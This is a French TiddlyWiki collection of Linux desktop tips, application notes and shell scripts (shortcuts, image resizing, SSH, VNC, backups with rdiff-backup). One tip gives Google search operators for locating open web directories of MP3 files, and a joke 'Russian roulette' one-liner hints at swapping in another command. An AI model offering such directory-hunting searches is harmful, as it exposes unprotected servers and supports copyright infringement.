Alt + Print Screen
Takes a screenshot of the window that has focus.

Ctrl + Alt + right arrow
Switches to the workspace to the right of the current workspace.

Ctrl + Alt + left arrow
Switches to the workspace to the left of the current workspace.

Ctrl + Alt + up arrow
Switches to the workspace above the current workspace.

Ctrl + Alt + down arrow
Switches to the workspace below the current workspace.

Ctrl + Alt + d
Minimizes all windows, and gives focus to the desktop.

F1
Starts the online help browser, and displays appropriate online Help.

Window Shortcut Keys

Alt + Tab
Switches between windows. When you use these shortcut keys, a list of windows that you can select is displayed. Release the keys to select a window.

Alt + Esc
Switches between windows in reverse order. Release the keys to select a window.

F10
Opens the first menu on the left side of the menubar.

Alt + spacebar
Opens the Window Menu .

Arrow keys
Moves the focus between items in a menu.

Return
Chooses a menu item.

Esc
Closes an open menu.

Ctrl + Alt + right arrow
Switches to the workspace to the right of the current workspace.

Ctrl + Alt + left arrow
Switches to the workspace to the left of the current workspace.

Ctrl + Alt + up arrow
Switches to the workspace above the current workspace.

Ctrl + Alt + down arrow
Switches to the workspace below the current workspace.

Ctrl + Alt + d
Minimizes all windows, and gives focus to the desktop.

Panel Shortcut Keys

Ctrl + Alt + Tab
Switches the focus between the panels and the desktop. When you use these shortcut keys, a list of items that you can select is displayed. Release the keys to select an item.

Ctrl + Alt + Esc
Switches the focus between the panels and the desktop. Release the keys to select an item.

Ctrl + F10
Opens the popup menu for the selected panel.

Tab
Switches the focus between objects on a panel.

Return
Chooses the selected panel object or menu item.

Shift + F10
Opens the popup menu for the selected panel object.

Arrow keys
Moves the focus between items in a menu. Moves the focus between interface items in an applet also.

Esc
Closes an open menu.

F10
Opens the Applications menu from the Menu Bar , if the Menu Bar is in a panel.

Application Shortcut Keys

Shortcut Keys	

Ctrl + N
New

Ctrl + X
Cut

Ctrl + C
Copy

Ctrl + V
Paste

Ctrl + Z
Undo

Ctrl + S
Save

Ctrl + Q
Quit 
<<<
// Show button link to a Random tiddler
config.macros.randomlink= {
  label: "au hasard",
  prompt: "Show random tiddler"
};

config.macros.randomlink.handler = function( place, macroName, params )
{
  var randomlinkHandler = function( e )
    {
      if (!e) var e = window.event;
      var la = [];
      if ( !params[0] ) {
        // Set associative array to linear array
        for ( var i in store.tiddlers ) {
          la.push( store.tiddlers[i] );
        }
      } else {
        la = store.getTaggedTiddlers( params[0] );
      }
      
      var rndnum = Math.floor( Math.random() * la.length );
      displayTiddler( resolveTarget(e), la[rndnum].title,  0, null, null, true, false );
    }
  createTiddlyButton( place,this.label,this.prompt,randomlinkHandler );
}
''Nom de l'application'': ''@@color(red): Recode @@''
Mots clef: encodage, conversion, fichier
Liens: [[source|http://pimpyourlinux.com/linux-feature-review/more-useful-commands-for-the-linux-newbie/ ]]
<<<
''Description: ''Recode permet de convertir des fichiers utilisant des encodages différents.

''Installation: ''{{{# aptitude install recode}}}

''Utilisation: ''
*Convertir un fichier mac:
{{{
$recode mac..latin1 file.txt
}}}
*Convertir du type DOS codepage 850 vers latin1:
{{{
$recode 850..latin1 file.txt
}}}
*Convertir du type Windows codepage 1250 vers unix latin 1 (iso-8859-1):
{{{
recode ms-ee..l1 file.txt
}}}
''Notes: ''voir aussi IConv, YuDit et ConvMV
Astuce: ''Rechercher des répertoires contenant des fichiers spécifiques avec google''
Mots clef: google
Os: Tous
Liens: [[source| http://blogpad.free.fr/ ]]
<<<
Dans google:
{{{parent directory " MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums}}}
ou
{{{?intitle:index.of? mp3 ungroupedemusique}}}
<<<
But: ''Redimensionner toutes les images jpeg d'un répertoire en vu de leur publication sur le web''
Mots clef: image, jpeg
<<<
''Notes: '' Ce script nécessite l'installation du paquet ImageMagick). Il prend comme premier paramètre l'extension des fichiers et en deuxième le taux de compression jpeg. Il utilisa donc la commande mogrify de imagemagick qui s'utilise de la sorte:  {{{$ mogrify -resize [taille]*[taille] *.[format]}}}
Par exemple, redimensionner l'image, ajouter un bord et un commentaire:
{{{
$ mogrify -geometry 300×200 -border 8×8 -comment “petit commentaire” myImage.png
}}}

Utilisation dans un script:
{{{
$ ./redim.sh JPG 85
}}}
''Script: ''
{{{
#!/bin/bash

#*************************************************************************
#Redimensionnement automatique des images du répertoire en vu de leur
#publication sur le web
#
#Prend en premier paramètre l'extension des images et en deuxième le
#pourcentage de compression. (Ex. d'usage: ./redim JPG 85)
#Nécessite l'installation du programme imagemagick
#
#@Bartux2006
#*************************************************************************#

#**************************debut du script********************************

mogrify -size 800x600 -resize 800x600 *.$1
for i in *.$1; do convert -quality $2 $i `basename $i .$1`.$1 ; done
echo 'Images redimensionnées'

#**************************fin du script**********************************
}}}
<<<
Astuce: ''Comment redimensionner une série d'images''
Mots clef: image
Os: Linux
<<<
Ces instructions nécessitent le paquet ImageMagick)

{{{$ for i in *.jpg; do convert -resize 640x480 $i `basename $i .jpg`_small.jpg ; done}}}
ou pour convertir à un certain pourcentage:
{{{$ for i in *.jpg; do convert -quality 85 $i `basename $i .jpg`_small.jpg ; done}}}

Il exite également un outil appelé mortify.
{{{mogrify -size 800x600 -resize 800x600 *.jpg}}}
Du coup il va redimmensionner toutes les images de votre repertoire aux taille maximum de 800 en longueur et 600 en largeur tout en conservant les informations exif.
Ainsi une image de 1024x768 deviendra 800x600, une image de 768x1024 deviendra 450x600.
''Notes: ''Voir aussi RedimensionnementJPGPourWEB, PhaTch et KimKonqueror
Astuce: ''Réduire l'activité du disque dur d'un ordinateur portable (dans mon cas hp omnibook 6000''
Mots clef: laptop
Os: Kubuntu
Liens: [[source|http://www.ubuntuforums.org/showthread.php?p=660011]]
<<<
Installer tout d'abord laptop-mode dont le but est de soulager la batterie en utilisant au mieux la gestion mémoire: {{{apt-get install laptop-mode}}}
Ensuite pour le lancer (pour la session en cours): {{{laptop-mode start}}}

Pour vérifier si laptop-mode est actif: {{{$ cat /proc/sys/vm/laptop_mode}}}. Si la réponse est non-nulle, alors laptop-mode est actif.

Pour démarrer laptop-mode à chaque démarrage on peut soit le mettre dans l'autostart de kde, soit suivre la procédure suivante:
Créer un script 
{{{
$ sudo nano -w /etc/init.d/laptopmode
}}}
contenant le code suivant:
{{{
#!/bin/sh
laptop-mode start
}}}
Le rendre excécutable avec 
{{{
$ sudo chmod +x /etc/init.d/laptopmode
}}}
ajouter un lien vers un runlevel
{{{
$ sudo ln -s /etc/init.d/laptopmode /etc/rc2.d/S99laptopmode"
}}}
<<<
Astuce: ''Permet de supprimer les "clacs toutes les 5 secondes" des disques durs pour laptop''
Mots clef: dell xps m1330
Os: Linux
Liens: [[source|http://forum.ubuntu-fr.org/viewtopic.php?id=154407]]
<<<
Diagnostique:
En plus d'indices sonores (petit clic toutes les 5-10 secondes), on peut, grâce à smartmontools ({{{# aptitude install smartmontools}}}), vérifier si le nombre de cycles évolue rapidement en, par exemple, une journée:
{{{
# smartctl -d ata -a /dev/sda | grep Cycle_Count
}}}

Pour corriger temporairement le problème:
{{{
# hdparm -B254 /dev/sda
}}}
Pour une correction générale il faut ajouter, dans le fichier ///etc/hdparm.conf//, les lignes suivantes :
{{{
/dev/sda {
apm = 254
}
}}}
''Nom de l'application'': ''@@color(red): Regexxer @@''
Mots clef: chercher, remplacer, fichiers
<<<
''Description: ''Petit logiciel permettant d'effectuer des chercher/remplacer dans des fichiers sans connaître les ExpressionsRegulieres.

''Installation: ''{{{# aptitude install regexxer}}}

''Utilisation: ''GUI très intuitive.

''Notes: ''
#Pour un logiciel orienté KDE, voir KfileReplace
#En ligne de commande, voir SeD
Astuce: ''Remplacer l'environnement graphique (gnome ou kde) par un serveur vnc''
Mots clef: Système, vnc
Os:Debian
Source: thanks mike
<<<
Ce petit tuto devrait également fonctionner sur ubuntu.

Pendant l'installation debian, choisir d'installer gdm (au lieu de kdm ou xdm).
Une fois l'installation terminée (ou que vous avez remplacé kdm par gdm), exécutez en root
{{{
$ apt-get install vnc4server
}}}
créez un mot de passe vnc (en root):
{{{
$ vncpasswd
}}}
Vous devrez alors entrer et confirmer un mot de passe. Un dossier //.vnc// sera créé contenant un fichier //passwd//, fichier qui contient votre mot de passe crypté.
Editez maintenant le fichier ///etc/X11/gdm/gdm.conf///
Localisez la partie où le serveur X standard et défini et trouvez la ligne:
{{{
command=/usr/X11R6/bin/X -audith 0
}}}
Remplacez la par:
{{{
command=/usr/bin/Xvnc -geometry 1024x768 -depth 24 -rfbauth /root/.vnc/passwd -deferUpdate 100
}}}
A noter que vous pouvez remplacer 1024x768 par la résolution que vous désirez. Vous pouvez également diminuer la profondeur (ici 24, la résolution des couleurs) et changer le rafraichissement (option //-deferUpdate// ici 100 ms).
Trouvez maintenant la ligne:
{{{ 
VTAllocation=true
}}} 
et remplacez la par
{{{
VTAllocation=false
}}}
Et voilà. 
Maintenant faites:
{{{
killall gdm
gdm
}}}
afin de redémarrer gdm avec les paramètres modifiés.
Sur la machine (serveur vnc) vous ne devriez plus avoir de session graphique.
Pour ce connecter d'une machine distante (en utilisant xvncviewer par exemple) vous devrez entrer le nom d'utilisateur et son mot de passe (celui que l'on a créé précédemment). Ensuite une fenêtre vnc s'ouvre contenant la fenêtre d'accueil de gdm.
<<<
Astuce: ''Renommer une série de fichiers''
Mots clef: fichiers
Os: Linux
<<<
*Renommer les fichiers *.mpeg en *.mpg, tapez :
{{{
$ for i in *.mpeg; do mv "$i" "`basename "$i" .mpeg`.mpg"; done
}}}
ou en bash pur:
{{{
$ for i in *.mpeg; do mv "$i" "${i%.mpeg}.mpg"; done
}}}
*Remplacer tous les espaces dans les fichiers *.mpg en '_', tapez :
{{{
$ for i in *.mpg; do mv "$i" `echo $i | tr ' ' '_'`; done
}}}
ou en bash pur:
{{{
$ for i in *.mpg; do mv "$i" "${i// /_}"; done
}}}
Tout convertir en minuscule:
{{{
$ for i in *; do mv $i `echo $i | tr [A-Z] [a-z]`; done
}}}

''Notes: ''
#Voir un très bon tuto [[ici|http://loquehumaine.wordpress.com/2007/11/12/script-bash3-renommer-plusieurs-fichiers-rename-a-bunch-of-files/]]
#Voir aussi l'excellent KRename et MetaMorphose qui est multiplateforme.
Astuce: ''Commande réseau de base''
Mots clef: reseau
Os: Linux
Liens: [[article original|http://linuxcult.blogspot.com/2007/01/introducing-new-nokia-n800-internet.html]]
Basé sur un billet du blog "The Cult of Linux" (voir lien). 
Voir aussi ConfigurerReseau, ReseauCommandesDeBase et ChangerSonAdresseMac.
<<<
Commandes réseau de base que vous devriez connaître
Il s'agit principalement d'un ensemble de commande (*)nix.

''ping''
Vous permet de vérifier si votre connexion Internet est fonctionnelle ou non.
{{{$ ping techflock.blogspot.com}}}

''traceroute {hostname}''
Vous permet de "tracer" des paquets et de tester si la connexion est cassée au delà de votre adresse ip. Peut également être utilisé afin de connaître le nombre d'intermédiaire pour arriver au site en question. Semble plus efficace que ''tracepath {hostname}''
{{{$ traceroute www.google.com}}}

''ifconfig'' (voir aussi ConfigurerReseau)
Permet de connaître les adresses ip (locales) de vos interface réseau, des informations reçues et envoyées
{{{$ ifconfig}}}

''nslookup {hostname}''
Permet de connaître la résolution dns pour une adresse ip ou pour un site (permet donc de tester votre serveur dns)
{{{$ nslookup www.google.com}}}

''dig {hostname}''
Même chose que nslookup mais avec des informations dns différentes
{{{$ dig www.google.com}}}

''netstat -a''
Affiche l'ensemble des ports ouverts sur votre machine
{{{$ netstat -a}}}

''netstat -nt''
Affiche l'ensemble des connexions tcp de votre machine
{{{$ netstat -nt}}}

''telnet {hostname} {port}''
Connexion à une machine sur un port spécifique afin de savoir si cette machine ou serveur fonctionne ou non
{{{$ telnet www.google.com 80}}}

Bien sûr de nombreuses options supplémentaires à ces commandes peuvent être connues grâce à leur manuel en tapant {{{$ man {commande}}}}
Astuce: ''Restaurer le splash screen Ubuntu après une installation de Kubuntu''
Mots clef: splash screen
Os: Ubuntu Linux
<<<
Sur une installation Ubuntu, si l'on installe ensuite kubuntu (kubuntu-desktop ou kubuntu-kde4-desktop), on se retrouve avec le splash screen Kubuntu au démarrage de la machine. Pour le restaurer:
{{{
# update-alternatives --config usplash-artwork.so
}}}
''Note: ''Si cela ne marche pas, on peut choisir le splash screen utilisé grâce à StartUpManager
''Nom de l'application'': ''@@color(red): Retroshare @@''
Mots clef: partage, p2p, sécurité, communauté
Liens: [[site officiel|http://retroshare.sourceforge.net/ ]]
<<<
''Description: ''Retroshare est un logiciel multi-plateforme permettant des communications et des échanges de fichiers décentralisés et sécurisés (chat, canaux de discussions, échanges de fichiers).

''Installation: ''paquet .deb disponible sur le [[site officiel|http://retroshare.sourceforge.net/ ]].

''Utilisation: ''Au premier démarrage du programme, l'on crée un certificat qui, une fois échangé avec ses amis, permettra la création du réseau sécurisé.

''Notes: ''
#Possède également un mode sans interface graphique avec retroshare-nogui (voir [[ici|http://retroshare.sourceforge.net/wiki/index.php/Documentation:CommandLineOptions]] pour les options).
#Digne successeur du projet [[waste|http://waste.sourceforge.net]] malheureusement au point mort depuis longtemps.
''Nom de l'application'': ''@@color(red): Rkhunter @@''
Mots clef: sécurité, rootkits
<<<
''Description: ''Rkhunter est un programme qui va scanner votre système à la recherche de méchant rootkits.

''Installation: ''{{{# aptitude install rkhunter}}}

''Utilisation: ''
* Tout d'abord mettre à jour la base de données:
{{{# rkhunter --update}}}
* Ensuite pour effectuer le scan:
{{{# rkhunter --checkall}}}

Il est également possible d'automatisé le scan (voir page man).
''Nom de l'application'': ''@@color(red): Root-Tail @@''
Mots clef: sécurité, surveillance, logs
<<<
''Description: ''Logiciel permettant d'afficher des logs système sur le bureau en fond d'écran.

''Installation: ''{{{# aptitude install root-tail}}}

''Utilisation: ''
*Tout d'abord, en cas d'utilisation de kde, il est nécessaire d'aller dans les //réglages système//, puis dans //Apparence et Comportement//, choisir //Bureau// et finalement dans //Comportement//, veillez que l'option "Autoriser les programmes à utiliser la fenêtre du bureau" soit sélectionnée.
*Ensuite, en console:
{{{
$ root-tail -f -g 700x150+10+1 /var/log/messages,grey
}}}
ou 
{{{
$ root-tail -f -g 700x200+10+10 /var/log/messages,white /var/log/secure,red 
}}}
Astuce: ''La roulette russe mode bash''
Mots clef: connerie
Os: Linux
Liens: [[source| http://www.tux-planet.fr/la-roulette-russe-sous-linux/ ]]
<<<
{{{
$ [ $[ $RANDOM % 6 ] == 0 ] && echo "You die" || echo "You live" 
}}}
Bien sûr on peut mettre autre chose à la place de echo "You die" comme précisé dans la [[source| http://www.tux-planet.fr/la-roulette-russe-sous-linux/ ]].
<<tagging SCgraphisme>>
<<tagging SCinternet>>
<<tagging SCmultimedia>>
<<tagging SCreseau>>
''Liste des Scripts''

<<slider chkSlider ScriptX "Tous">><<slider chkSlider SCsysteme "Système">><<slider chkSlider SCsecurite "Sécurité">><<slider chkSlider SCreseau "Réseau">><<slider chkSlider SCutilitaire "Utilitaires">>
<<slider chkSlider SCinternet "Internet">><<slider chkSlider SCmultimedia "Multimédia">><<slider chkSlider SCgraphisme "Graphisme">><<slider chkSlider SCbureautique "Bureautique">>
<<tagging SCsecurite>>
<<tagging SCutilitaire>>
''Nom de l'application'': ''@@color(red): Smplayer @@''
Mots clef: mplayer, lecteur, vidéo, player
Liens: [[site officiel|http://smplayer.sourceforge.net/ ]]
<<<
''Description: ''Smplayer est un frontend complet, agréable et très fonctionnel pour mplayer.

''Installation: ''Télecharger et installer le fichier .deb qui vous convient [[ici|http://www.getdeb.net]] ou [[là|http://wesley.debianbox.be/packages/]]
Astuce: ''Aide mémoire ssh d'après JJL''
Mots clef: sécurité, réseau, ssh
Os: Linux
Source: [[KubuntuBlog| http://kubuntu.free.fr/blog/index.php/2006/08/08/100-aide-memoire-ssh ]]
<<<
Vous aurez besoin des paquets :
*openssh-client sur le client
*openssh-server sur le serveur
*x11vnc pour la partie serveur vnc
*xvnc4viewer pour la partie client vnc
''Gestion des clefs ssh''
Générer ses clefs ssh :
{{{ssh-keygen -t dsa -b 1024}}}

Copier sa clef sur le serveur :
{{{ssh-copy-id -i ~/.ssh/id_dsa.pub login@serveur}}}

Se logger :
{{{ssh login@serveur}}}

Copier un fichier :
{{{scp fichier.txt login@serveur:/home/login/fichier.txt}}}
{{{sftp login@serveur:/home/login/fichier.txt}}}

Résoudre le problème "Remote host identification has changed":
{{{$ ssh-keygen -R hostname}}} 
où hostname est, par exemple, l'adresse ip de l'hôte distant.

''Tunneling ssh''
Forward X11 :
{{{ssh -CX login@serveur}}}
On fait de la compression C, du forward X11 X. L'interface graphique des programmes lancés (sur serveur) dans cette session est alors déporté vers le client.

Si on veut faire du vnc securisé :
{{{ssh -C -L1234:serveur:5900 jjl@serveur x11vnc -scale 1/2:nb -display :0 -localhost -nopw}}}
On réalise un renvoi de port client:1234 vers serveur:5900 avec compression et execution du serveur vnc.
Celui-ci réduit l'ecran de moitié (-scale 1/2; le :nb accelère le rendu au détriment de la qualité). Notez que pour que vnc reste disponible pour les prochaines connections, on ajoutera -forever.
Pour se connecter il suffit alors de faire :
{{{vncviewer localhost:1234}}}

''Un serveur dans chaque port''
Pour des raisons de sécurités, il n'est pas rare que le serveur ssh écoute sur un autre port que le 22. Malheuresement chaque outil utilise une option différente pour indiquer celui-ci.
*ssh : -p port
*scp : -P port
*sftp : RIEN
*tous (sftp compris), en passant par les options ssh_config : -oPort=port

''Note: ''
#Pour le transfert de fichier, voir ScP
#Pour monter un répertoire, voir aussi PartageViaSshfs
#Une excellente présentation par®om's blog [[ici|http://rom1v.blogspot.com/2008/08/prsentation-de-ssh.html]].
''Nom de l'application'': ''@@color(red): Salasaga @@''
Mots clef: tutoriaux, flash, e-learning
Liens: [[source| http://www.galipe.net/articles/salasaga-creation-tutoriel-slideshow-flash/ ]], [[site officiel| http://www.salasaga.org/]]
<<<
''Description: ''Création de tutoriels en flash grâce à un programme libre.

''Installation: ''paquet disponible sur [[getdeb.net|http://www.getdeb.net/app/Salasaga]]

''Utilisation: ''La création d'un tutoriel se fait par l'intermédiaire de projet et de captures d'écran.
Astuce: ''Paramètre de partage de fichier avec samba''
Mots clef: réseau, samba
Os: Linux
<<<
browser un disque distant windows: 
{{{
apt-get install samba-client
smbclient -U Admin //nommachine/répértoirepartagé
}}}

Monter un disque windows:
{{{
apt-get install smbfs
mount -t smbfs -o username=name,uid=bart,iocharset=iso8859-1,codepage=cp850 
//nomMachine/répertoirepartagé /mnt/répertoire
}}}
uid correspond à l'id unix de ton user, cela permettra à ton user de
pouvoir écrire dedans.

iocharset, encodage des caractères, pratique quand même pour avoir les
accents, l'encodage spécifié lors du mount peut bien entendu être
différent de la "locale" que tu utilises habituellement sur ton système.

codepage, permet de reconnaitre les accents générés par Windows, un
module de traduction en quelque sorte.
<<<
Astuce: ''sauvegardes différentielles journalières''
Mots clef: howto, sauvegarde, anacron, rdiffbackup
Os: Ubuntu Debian
Liens: [[source|http://debuntu.tuxfamily.org/doku.php?id=debian_howto_sauvegardeauto&s=rdiff ]]

Voir aussi ScriptDeSauvegardeIncrémentaleAvecRsync (meilleur mais non compressé)
Article original:
<<<
<html>
<a name="le_besoin"></a><h1>Le besoin</h1><div class="level1">

<p>
Faire des sauvegardes différentielles journalières de son  /home et supprimer les sauvegardes vieilles d’une semaine par exemple. Ceci est réalisé via le logiciel <span class="search_hit">rdiff</span>-backup. Est expliqué également comment tout automatiser.
</p>

<p>
</p>
</div><a name="faire_la_sauvegarde"></a><h1>Faire la sauvegarde</h1><div class="level1">
<p>
Voici la commande qui permet de faire une sauvegarde :
</p>
<pre class="pre"><span class="search_hit">rdiff</span>-backup --exclude /home/mon_login/.aMule /home/mon_login /rep_save&lt;/blockquote&gt;
</pre>

<p>
Ici on sauvegarde tout le /home/mon_login sauf le repertoire ./aMule dans le dossier de destination /rep_save

</p>
<p>
</p>
</div><a name="supprimer_des_sauvegardes"></a><h1>Supprimer des sauvegardes</h1><div class="level1">
<p>
Pour supprimer les différences accumulées au fur et à mesure que l’on a ajouté des sauvegardes :
</p>
<pre class="pre"><span class="search_hit">rdiff</span>-backup --remove-older-than 1W --force /le_repertoire_de_sauvegarde
</pre>

<p>
ici on enlève toutes les modifications enregistrées vieilles de plus d’une semaine. On peut mettre D(ay),W(eek), M(onth) et Y(ear).
</p>

<p>
S’il il y a plusieurs sauvegardes à supprimer, la commande échoue. C’est pourquoi il faut rajouter le paramètre –force pour ne pas prendre cette erreur en compte et que <span class="search_hit">rdiff</span>-backup effectue bien ce qu’on lui demande.
</p>
<p>
</p>
</div><a name="tester_un_backup"></a><h1>Tester un backup</h1><div class="level1">
<p>
Pour vérifier que nos sauvegardes fonctionnent bien, on peut restaurer un backup :
</p>
<pre class="pre"><span class="search_hit">rdiff</span>-backup -r now /repertoire_de_sauvegarde /repertoire_de_restauration
</pre>

<p>
L’option -r now permet de remettre la version de la sauvegarde la plus récente. on peut remonter dans les sauvegardes, par exemple remettre le repertoire comme il y a 3 jours avec l’option -r 3D.
</p>
<p>
</p>
</div><a name="automatiser_l_ensemble"></a><h1>Automatiser l'ensemble</h1><div class="level1">
<p>
Voici la partie vraiment intéressante : comment faire pour que nos commandes précédentes se fasse de façon automatique, de façon à ce que l’on ait pas à les taper chaque jour ?
</p>
<p>
</p>

</div><a name="journaliser_les_taches"></a><h2>Journaliser les tâches</h2><div class="level2">

<p>
Tout d’abord quelques mots sur les logiciels journalisation de tâches :
Actuellement on dispose de trois outils sous linux pour cela :
</p>

<ul>
<li class="level1"><span class="li"><strong>at</strong> qui permet de definir des taches a realiser a un instant precis et si la machine est eteinte a ce moment la, la tache sera realisee au prochain demarrage. utilise par tout le monde</span></li>
<li class="level1"><span class="li"><strong>cron</strong> peut definir des taches periodiques mais c est un demon donc si la machine est eteinte, la commande ne se lancera pas du tout. utilisable par tout le monde.</span></li>
<li class="level1"><span class="li"><strong>anacron</strong> lance des taches de facon periodique et si l ordinateur n etait pas allume au moment voulu, la tache s executera au prochain demarrage. utilisable uniquement par root.</span></li>

</ul>


<p>
</p>
</div><a name="avec_cron"></a><h3>Avec cron</h3><div class="level3">
<p>
 
Les commandes suivantes sont à exécuter en root.
</p>
<p>
Pour installer cron :
</p>
<pre class="pre">apt-get install cron</pre>

<p>
cron utilise la crontab qui permet d’indiquer les taches que l’on veut realiser et à quelle fréquence.
</p>
<p>
Pour éditer la crontab, il suffit de faire :
</p>
<pre class="pre">crontabe -e
</pre>

<p>
Par defaut c ‘est vi qui est utilisé par crontab, j ‘indique plus bas comment utiliser nano à la place.
</p>
<p>
Pour journaliser notre tâche, on indique à cron d’exécuter le script /root/sauve_mon_dossier.sh chaque jour à 20h00. 
On met donc la ligne suivante dans notre crontab :
</p>

<pre class="pre">00    20    *    *     *    /root/sauve_mon_dossier.sh
</pre>

<p>
Celle-ci signifie “tous les jours à 20h00 lance le script /root/sauve_mon_dossier.sh”. C est bien les minutes d ‘abord et les heures ensuite, il n’y a pas d’erreur.
</p>
<p>
</p>
</div><a name="avec_anacron"></a><h3>Avec Anacron</h3><div class="level3">

<p>
éditer /etc/anacrontab et insérer :
</p>
<pre class="pre">#tous les x jours / nbre de min entre chaque tache / nom inscrit dans le log / commande a executer
1       5      sauvegarde_journaliere  /root/script_de_sauvegarde.sh</pre>

<p>
Ici dès que que anacron sera lancé (au démarrage donc), il patiente 5 min avant de lancer le script et ne le fais pas plus d’une fois par jour
</p>
<p>
</p>
</div><a name="le_script"></a><h2>Le script</h2><div class="level2">

<p>
Ensuite il reste à faire le script pour lancer les sauvegardes.
On edite donc le fichier /root/sauv_mon_dossier.sh avec son editeur favori et on y insère les lignes suivantes :
</p>
<pre class="pre">#!/bin/sh
nice -n 19 <span class="search_hit">rdiff</span>-backup --exclude /home/login/.aMule /home/login /mnt/save &amp;&amp; nice -n 19 <span class="search_hit">rdiff</span>-backup --remove-older-than 1D --force /mnt/save&lt;/blockquote&gt;</pre>

<p>
Le nice -n 19 signifie que lorsqu’on lance les commandes, elles s’éxecutent avec la priorité la plus petite par rapport aux autres processus, ceci afin d’éviter que l’ordinateur se mette à ramer tous les jours à 20h00.
</p>
<p>
On sauvegarde le script et on oublie pas de mettre les droits d’éxecution sur le fichier :
</p>
<pre class="pre">chmod +x /root/sauv_mon_dossier.sh
</pre>

<p>
Voilà c ‘est fini, on peut simplement vérifier que le script fonctionne bien en le lançant :
</p>
<pre class="pre">/root/sauve_mon_dossier.sh
</pre>

<p>
Normalement <span class="search_hit">rdiff</span>-backup se lance, fait sa sauvegarde et vous informe ensuite qu’il a ou non supprime les sauvegardes plus vieilles d’un jour.
</p>
<p>
</p>
</div><a name="trucs_amp:astuces"></a><h2>Trucs &amp; astuces</h2><div class="level2">

<p>
Pour vérifier que la tâche est bien lancée vous pouvez vérifier dans votre repertoire de sauvegarde/<span class="search_hit">rdiff</span>-backup si vous avez bien une ligne du genre :

</p>
<pre class="pre">session_statistics.2005-03-02T19:54:58+05:30.data
</pre>

<p>
Vous voyez alors l’heure et la date de la derniere sauvegarde.
</p>
<p>
That’s it, dernière chose pour virer Vi et le remplacer par nano pour la crontab :
</p>
<pre class="pre">export EDITOR=nano
</pre>
<p>
dans le /root/.bashrc, c ‘est radical :)
</p>
<p>
Voilà, bonnes sauvegardes et n’hésitez pas à remonter vos retours d’experiences/améliorations à debuntu at gmail dot com

</p>
<p>
</p>
</div><a name="references"></a><h1>Références</h1><div class="level1">
<p>
Un bon site qui m’a permis de construire ce tutoriel :
<a href="http://www.nongnu.org/rdiff-backup/examples.html" class="urlextern" target="_blank" title="http://www.nongnu.org/rdiff-backup/examples.html" onclick="return svchk()" onkeypress="return svchk()"><span class="search_hit">Rdiff</span>-backup (en)</a>
</p>
</html>
Astuce: ''Sauvegarder une page man''
Mots clef: ASutilitaire
Os: Linux
<<<
Pour faire copier une page man dans un fichier texte:
{{{
$  man le_mot | col -b > file.txt
}}}
Pour une sauvegarde en .pdf voir AstucesKonqueror.
''Nom de l'application'': ''@@color(red): Scp @@''
Mots clef:  sécurité, réseau, ssh
<<<
''Description: ''Scp (Secure Copy) est un permet le transfert de fichiers entre machine grâce à un protocole sécurisé basé sur ssh. 

''Installation: ''De base normalement

''Utilisation: ''
*transfert d'un fichier
{{{
$ scp monFichier.ext nomUser@IPMachine:/monDossierDest/monFichierCopie.ext
}}}
*Transfert d'un répertoire entier
{{{
$ scp -r /monRerpertoire nomUser@IPMachine:/monDossierDest/
}}}

''Notes: ''Pour plus d'info sur ssh, voir SSHMemento
''Nom de l'application'': ''@@color(red): Scilab @@''
Mots clef: science, mathématique, calcul
Liens: [[site officiel| http://www.scilab.org/]]
<<<
''Description: ''Scilab est un logiciel libre de calcul matriciel similaire à matlab.

''Installation: ''[[via apt|apt://scilab]], mais la dernière version est disponible sur le [[site officiel| http://www.scilab.org/]]

''Utilisation: ''beaucoup de documents d'utilisation [[ici|http://www.scilab.org/publications/index_publications.php?page=freebooks]]
Astuce: ''Scinder un fichier en plusieurs autres fichiers de plus petite taille''
Mots clef: Utilitaire, fichier
Os: Linux
<<<
Pour scinder //monGrosFichier// en fichier de 1MB:
{{{$ split -bytes=1m monGrosFichier préfixeDesNouveauxFichiers}}}

Pour recombiner plusieurs fichiers:
{{{$ cat préfixeDesFichiers* > monGrosFichier

Pour un utilitaire graphique, voir UltraSplitter ou SeparerGrosFichiers
But: ''Convertir un fichier .flv (téléchargé sur youtube par exemple) en, au choix, divx ou xvid''
Mots clef: vidéo
Liens: [[source| http://www.linux.com/article.pl?sid=06/08/22/2121258]]
<<<
''Usage: ''{{{flv2avi.sh -divx fichier1.flv fichier2.flv etc.flv}}}

''Script: ''
{{{
#!/bin/sh

if [ -z "$1" ]; then
  echo "Usage: $0 {-divx|-xvid} list_of_flv_files"
  exit 1
fi

# video encoding bit rate
V_BITRATE=1000

while [ "$1" ]; do
  case "$1" in
    -divx)
      MENC_OPTS="-ovc lavc -lavcopts \
        vcodec=mpeg4:vbitrate=$V_BITRATE:mbd=2:v4mv:autoaspect"
      ;;
    -xvid)
      MENC_OPTS="-ovc xvid -xvidencopts bitrate=$V_BITRATE:autoaspect"
      ;;
    *)
      if file "$1" | grep -q "Macromedia Flash Video"; then
        mencoder "$1" $MENC_OPTS -vf pp=lb -oac mp3lame \
          -lameopts fast:preset=standard -o \
          "`basename $1 .flv`.avi"
      else
        echo "$1 is not Flash Video. Skipping"
      fi
      ;;
  esac
  shift
done
}}}
NB: voir aussi le programme FlvGet et ConvertFlvToAvi en une ligne de commande.
''Nom de l'application'': ''@@color(red): Scribus @@''
Mots clef: graphisme, mise en page
<<<
''Description: ''Scripus est un logiciel de très bonne qualité pour la publication assistée par ordinateur (PAO) (équivalent des logiciels Indesign et xpress).

''Installation: ''{{{# aptitude install scribus}}}
A noté qu'il peut être préférable d'installer la version de développement scribus-ng: {{{# aptitude install scribus-ng}}}
But: ''Permet de récupérer son adresse ip wan grâce au site checkip.dyndns.org''
Mots clef: ip
<<<
''Note: ''Utile par exemple pour une utilisation avec ConKy
''Script: ''
{{{
#!/bin/bash

#*************************************************************************#
# Permet de récupérer son adresse ip wan grâce au site checkip.dyndns.org
#*************************************************************************#

#**************************debut du script********************************
wget http://checkip.dyndns.org 1>/dev/null 2>/dev/null

MYIP=`cat index.html | cut -d: -f2 | cut -d\< -f1`

rm index.html

echo "$MYIP"
exit 0

#**************************fin du script**********************************
}}}
<<<
Astuce: ''Rendre un script bash accessible depuis "partout"''
Mots clef: bash, script
Os: Linux
<<<
#Après avoir créé son script monscript.sh, il faut bien sûr le rendre exécutable:{{{$ chmod +x monscript.sh}}}. On peut ensuite lancer le script depuis le répertoire où il se trouve avec la commande {{{$ ./monscript.sh}}}. 
#Maintenant si on veut pour accéder à ce script depuis un répertoire quelconque, on peut copier ce script dans le répertoire /usr/local/bin, mais attention, sans l'extension .sh! {{{# cp monscript.sh /usr/local/bin/monscript}}}
Et voila... cappuccino!
